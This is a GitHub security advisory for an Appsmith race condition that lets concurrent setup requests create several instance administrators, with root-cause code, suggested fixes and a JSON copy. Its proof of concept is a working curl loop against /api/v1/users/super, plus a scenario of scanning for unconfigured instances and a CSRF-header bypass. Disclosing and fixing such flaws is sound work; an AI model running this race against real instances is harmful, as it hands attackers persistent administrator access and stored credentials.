GHSA-9WCP-79G5-5C3C

Vulnerability from github – Published: 2026-06-12 18:27 – Updated: 2026-06-12 18:27
VLAI
Summary
Appsmith Super User Creation Race Condition Allows Multiple Instance Administrators
Details

Summary

The /api/v1/users/super endpoint enforces a restriction that only one super user (Instance Administrator) can be created during initial setup. However, due to a Time-of-Check-Time-of-Use (TOCTOU) race condition in the signupAndLoginSuper() method, concurrent requests can bypass this restriction, allowing multiple unauthorized users to obtain Instance Administrator privileges.

Severity

  • CWE: CWE-367 (Time-of-Check Time-of-Use Race Condition)
  • CVSS 3.1: AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — 8.1 (HIGH)

Affected Version

  • Appsmith Community Edition v1.97.0-SNAPSHOT (release branch)
  • Docker image: appsmith/appsmith-ce:release (pulled 2026-02-25)
  • Commit: 55ac824f8d42f934cc7a69f8abc52880a6ad39ef

Root Cause

The signupAndLoginSuper() method in UserSignupCEImpl.java (lines 270–295) performs a non-atomic check-then-act sequence:

// Step 1: CHECK — query MongoDB for existing users
userService.isUsersEmpty()
    .flatMap(isEmpty -> {
        if (!Boolean.TRUE.equals(isEmpty)) {
            return Mono.error(new AppsmithException(AppsmithError.UNAUTHORIZED_ACCESS));
        }
        // Step 2: ACT — create user and grant admin (not atomic with Step 1)
        return signupAndLogin(user, exchange);
    })
    .flatMap(user -> userUtils.makeInstanceAdministrator(List.of(user)));

The isUsersEmpty() method (CustomUserRepositoryCEImpl.java, lines 35–44) queries MongoDB without any locking mechanism:

public Mono<Boolean> isUsersEmpty() {
    return queryBuilder()
            .criteria(Bridge.or(
                    notExists(User.Fields.isSystemGenerated),
                    Bridge.isFalse(User.Fields.isSystemGenerated)))
            .limit(1).all(IdOnly.class).count().map(count -> count == 0);
}

There is no @Transactional annotation, no distributed lock, and no MongoDB transaction wrapping the check-and-create sequence. In the reactive WebFlux environment, concurrent requests are processed in parallel, widening the race window significantly.

Proof of Concept

Environment Setup

# Start a fresh Appsmith instance
docker run -d --name appsmith-test -p 9090:80 appsmith/appsmith-ce:release
# Wait ~90 seconds for all services to initialize

Step 1: Verify Fresh State

curl -s http://localhost:9090/api/v1/users/me | python3 -m json.tool
# Expected: {"data": {"email": "anonymousUser", ...}}

Step 2: Send Concurrent Requests

for i in $(seq 1 10); do
  curl -s -o /tmp/race_result_${i}.txt -w "%{http_code}" \
    -X POST http://localhost:9090/api/v1/users/super \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -H "X-Requested-By: Appsmith" \
    -d "email=racer${i}@evil.com&password=TestP4ssw0rd!&name=Racer${i}&allowCollectingAnonymousData=false" &
done
wait

# Check results
for i in $(seq 1 10); do
  echo "racer${i}: $(cat /tmp/race_result_${i}.txt)"
done

Step 3: Verify in MongoDB

// Connect to MongoDB inside the container
// docker exec -it appsmith-test mongosh <connection_string>

// Count non-system users (expected: 1, actual: 10)
db.user.countDocuments({ isSystemGenerated: { $ne: true } })

// Check who has manage:users permission
db.user.find(
  { isSystemGenerated: { $ne: true } },
  { email: 1, "policies.permission": 1 }
).forEach(u => {
  const hasManage = u.policies?.some(p => p.permission === "manage:users");
  printjson({ email: u.email, manage_users: hasManage });
});

// Check Instance Administrator Role assignments
db.permissionGroup.findOne(
  { name: "Instance Administrator Role" },
  { assignedToUserIds: 1 }
);

Observed Results

Metric Expected Actual
Users created 1 10
Users with manage:users policy 1 10
Users in Instance Administrator Role 1 2

All 10 concurrent requests returned HTTP 302 (success redirect), bypassing the single-user restriction.

Impact

  1. Authorization Bypass: The one-admin-only restriction is completely defeated by concurrent requests.

  2. Persistent Backdoor: The attacker's admin account persists alongside the legitimate administrator. The legitimate admin has no indication that another admin exists unless they manually inspect the user list.

  3. Full Instance Compromise: Instance Administrator privileges grant:

  4. User management (create, delete, modify all users)
  5. Access to all datasource credentials (database passwords, API keys)
  6. Modification of all applications and their server-side logic
  7. Environment configuration (SMTP, OAuth, encryption settings)

Attack Scenario

  1. Attacker monitors for newly deployed Appsmith instances (e.g., via Shodan, Censys, or internal network scanning).
  2. Attacker polls GET /api/v1/users/me — if the response contains "email": "anonymousUser", the instance has not been set up yet.
  3. Attacker sends multiple concurrent POST /api/v1/users/super requests.
  4. Legitimate administrator completes setup normally, unaware that an attacker account also received Instance Administrator privileges.
  5. Attacker now has persistent, full administrative access to the instance.

Suggested Fix

Option A: MongoDB Transaction (Recommended)

Wrap the check-and-create in a MongoDB transaction to ensure atomicity:

public Mono<User> signupAndLoginSuper(...) {
    return reactiveMongoTemplate.inTransaction().execute(session -> {
        return userService.isUsersEmpty()
            .flatMap(isEmpty -> {
                if (!Boolean.TRUE.equals(isEmpty)) {
                    return Mono.error(new AppsmithException(
                        AppsmithError.UNAUTHORIZED_ACCESS));
                }
                return signupAndLogin(user, exchange);
            });
    }).single()
    .flatMap(user -> userUtils.makeInstanceAdministrator(List.of(user)));
}

Option B: Distributed Lock

Use Redis (already available in Appsmith's stack) to acquire an exclusive lock:

public Mono<User> signupAndLoginSuper(...) {
    return redisLockService.acquireLock("super-user-setup", Duration.ofSeconds(10))
        .flatMap(lock -> userService.isUsersEmpty()
            .flatMap(isEmpty -> {
                if (!Boolean.TRUE.equals(isEmpty)) {
                    return Mono.error(...);
                }
                return signupAndLogin(user, exchange);
            })
            .doFinally(signal -> lock.release()));
}

Option C: Unique Constraint

Add a MongoDB unique partial index that prevents more than one super admin:

db.user.createIndex(
  { "isSuperAdmin": 1 },
  { unique: true, partialFilterExpression: { "isSuperAdmin": true } }
);

CSRF Note

The POST /api/v1/users/super endpoint accepts application/x-www-form-urlencoded content type. CSRF protection can be bypassed by including the X-Requested-By: Appsmith header (CsrfConfigCE.java, lines 99–102), which is a static, publicly known value.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 1.99.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "com.appsmith:server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.99"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-12T18:27:53Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `/api/v1/users/super` endpoint enforces a restriction that only one super user (Instance Administrator) can be created during initial setup. However, due to a Time-of-Check-Time-of-Use (TOCTOU) race condition in the `signupAndLoginSuper()` method, concurrent requests can bypass this restriction, allowing multiple unauthorized users to obtain Instance Administrator privileges.\n\n## Severity\n\n- **CWE**: CWE-367 (Time-of-Check Time-of-Use Race Condition)\n- **CVSS 3.1**: AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H \u2014 **8.1 (HIGH)**\n\n## Affected Version\n\n- Appsmith Community Edition v1.97.0-SNAPSHOT (release branch)\n- Docker image: `appsmith/appsmith-ce:release` (pulled 2026-02-25)\n- Commit: `55ac824f8d42f934cc7a69f8abc52880a6ad39ef`\n\n## Root Cause\n\nThe `signupAndLoginSuper()` method in `UserSignupCEImpl.java` (lines 270\u2013295) performs a non-atomic check-then-act sequence:\n\n```java\n// Step 1: CHECK \u2014 query MongoDB for existing users\nuserService.isUsersEmpty()\n    .flatMap(isEmpty -\u003e {\n        if (!Boolean.TRUE.equals(isEmpty)) {\n            return Mono.error(new AppsmithException(AppsmithError.UNAUTHORIZED_ACCESS));\n        }\n        // Step 2: ACT \u2014 create user and grant admin (not atomic with Step 1)\n        return signupAndLogin(user, exchange);\n    })\n    .flatMap(user -\u003e userUtils.makeInstanceAdministrator(List.of(user)));\n```\n\nThe `isUsersEmpty()` method (`CustomUserRepositoryCEImpl.java`, lines 35\u201344) queries MongoDB without any locking mechanism:\n\n```java\npublic Mono\u003cBoolean\u003e isUsersEmpty() {\n    return queryBuilder()\n            .criteria(Bridge.or(\n                    notExists(User.Fields.isSystemGenerated),\n                    Bridge.isFalse(User.Fields.isSystemGenerated)))\n            .limit(1).all(IdOnly.class).count().map(count -\u003e count == 0);\n}\n```\n\nThere is no `@Transactional` annotation, no distributed lock, and no MongoDB transaction wrapping the check-and-create sequence. In the reactive WebFlux environment, concurrent requests are processed in parallel, widening the race window significantly.\n\n## Proof of Concept\n\n### Environment Setup\n\n```bash\n# Start a fresh Appsmith instance\ndocker run -d --name appsmith-test -p 9090:80 appsmith/appsmith-ce:release\n# Wait ~90 seconds for all services to initialize\n```\n\n### Step 1: Verify Fresh State\n\n```bash\ncurl -s http://localhost:9090/api/v1/users/me | python3 -m json.tool\n# Expected: {\"data\": {\"email\": \"anonymousUser\", ...}}\n```\n\n### Step 2: Send Concurrent Requests\n\n```bash\nfor i in $(seq 1 10); do\n  curl -s -o /tmp/race_result_${i}.txt -w \"%{http_code}\" \\\n    -X POST http://localhost:9090/api/v1/users/super \\\n    -H \"Content-Type: application/x-www-form-urlencoded\" \\\n    -H \"X-Requested-By: Appsmith\" \\\n    -d \"email=racer${i}@evil.com\u0026password=TestP4ssw0rd!\u0026name=Racer${i}\u0026allowCollectingAnonymousData=false\" \u0026\ndone\nwait\n\n# Check results\nfor i in $(seq 1 10); do\n  echo \"racer${i}: $(cat /tmp/race_result_${i}.txt)\"\ndone\n```\n\n### Step 3: Verify in MongoDB\n\n```javascript\n// Connect to MongoDB inside the container\n// docker exec -it appsmith-test mongosh \u003cconnection_string\u003e\n\n// Count non-system users (expected: 1, actual: 10)\ndb.user.countDocuments({ isSystemGenerated: { $ne: true } })\n\n// Check who has manage:users permission\ndb.user.find(\n  { isSystemGenerated: { $ne: true } },\n  { email: 1, \"policies.permission\": 1 }\n).forEach(u =\u003e {\n  const hasManage = u.policies?.some(p =\u003e p.permission === \"manage:users\");\n  printjson({ email: u.email, manage_users: hasManage });\n});\n\n// Check Instance Administrator Role assignments\ndb.permissionGroup.findOne(\n  { name: \"Instance Administrator Role\" },\n  { assignedToUserIds: 1 }\n);\n```\n\n### Observed Results\n\n| Metric | Expected | Actual |\n|--------|----------|--------|\n| Users created | 1 | **10** |\n| Users with `manage:users` policy | 1 | **10** |\n| Users in Instance Administrator Role | 1 | **2** |\n\nAll 10 concurrent requests returned HTTP 302 (success redirect), bypassing the single-user restriction.\n\n## Impact\n\n1. **Authorization Bypass**: The one-admin-only restriction is completely defeated by concurrent requests.\n\n2. **Persistent Backdoor**: The attacker\u0027s admin account persists alongside the legitimate administrator. The legitimate admin has no indication that another admin exists unless they manually inspect the user list.\n\n3. **Full Instance Compromise**: Instance Administrator privileges grant:\n   - User management (create, delete, modify all users)\n   - Access to all datasource credentials (database passwords, API keys)\n   - Modification of all applications and their server-side logic\n   - Environment configuration (SMTP, OAuth, encryption settings)\n\n## Attack Scenario\n\n1. Attacker monitors for newly deployed Appsmith instances (e.g., via Shodan, Censys, or internal network scanning).\n2. Attacker polls `GET /api/v1/users/me` \u2014 if the response contains `\"email\": \"anonymousUser\"`, the instance has not been set up yet.\n3. Attacker sends multiple concurrent `POST /api/v1/users/super` requests.\n4. Legitimate administrator completes setup normally, unaware that an attacker account also received Instance Administrator privileges.\n5. Attacker now has persistent, full administrative access to the instance.\n\n## Suggested Fix\n\n### Option A: MongoDB Transaction (Recommended)\n\nWrap the check-and-create in a MongoDB transaction to ensure atomicity:\n\n```java\npublic Mono\u003cUser\u003e signupAndLoginSuper(...) {\n    return reactiveMongoTemplate.inTransaction().execute(session -\u003e {\n        return userService.isUsersEmpty()\n            .flatMap(isEmpty -\u003e {\n                if (!Boolean.TRUE.equals(isEmpty)) {\n                    return Mono.error(new AppsmithException(\n                        AppsmithError.UNAUTHORIZED_ACCESS));\n                }\n                return signupAndLogin(user, exchange);\n            });\n    }).single()\n    .flatMap(user -\u003e userUtils.makeInstanceAdministrator(List.of(user)));\n}\n```\n\n### Option B: Distributed Lock\n\nUse Redis (already available in Appsmith\u0027s stack) to acquire an exclusive lock:\n\n```java\npublic Mono\u003cUser\u003e signupAndLoginSuper(...) {\n    return redisLockService.acquireLock(\"super-user-setup\", Duration.ofSeconds(10))\n        .flatMap(lock -\u003e userService.isUsersEmpty()\n            .flatMap(isEmpty -\u003e {\n                if (!Boolean.TRUE.equals(isEmpty)) {\n                    return Mono.error(...);\n                }\n                return signupAndLogin(user, exchange);\n            })\n            .doFinally(signal -\u003e lock.release()));\n}\n```\n\n### Option C: Unique Constraint\n\nAdd a MongoDB unique partial index that prevents more than one super admin:\n\n```javascript\ndb.user.createIndex(\n  { \"isSuperAdmin\": 1 },\n  { unique: true, partialFilterExpression: { \"isSuperAdmin\": true } }\n);\n```\n\n## CSRF Note\n\nThe `POST /api/v1/users/super` endpoint accepts `application/x-www-form-urlencoded` content type. CSRF protection can be bypassed by including the `X-Requested-By: Appsmith` header (`CsrfConfigCE.java`, lines 99\u2013102), which is a static, publicly known value.",
  "id": "GHSA-9wcp-79g5-5c3c",
  "modified": "2026-06-12T18:27:53Z",
  "published": "2026-06-12T18:27:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/appsmithorg/appsmith/security/advisories/GHSA-9wcp-79g5-5c3c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/appsmithorg/appsmith"
    },
    {
      "type": "WEB",
      "url": "https://github.com/appsmithorg/appsmith/releases/tag/v1.99"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Appsmith Super User Creation Race Condition Allows Multiple Instance Administrators"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…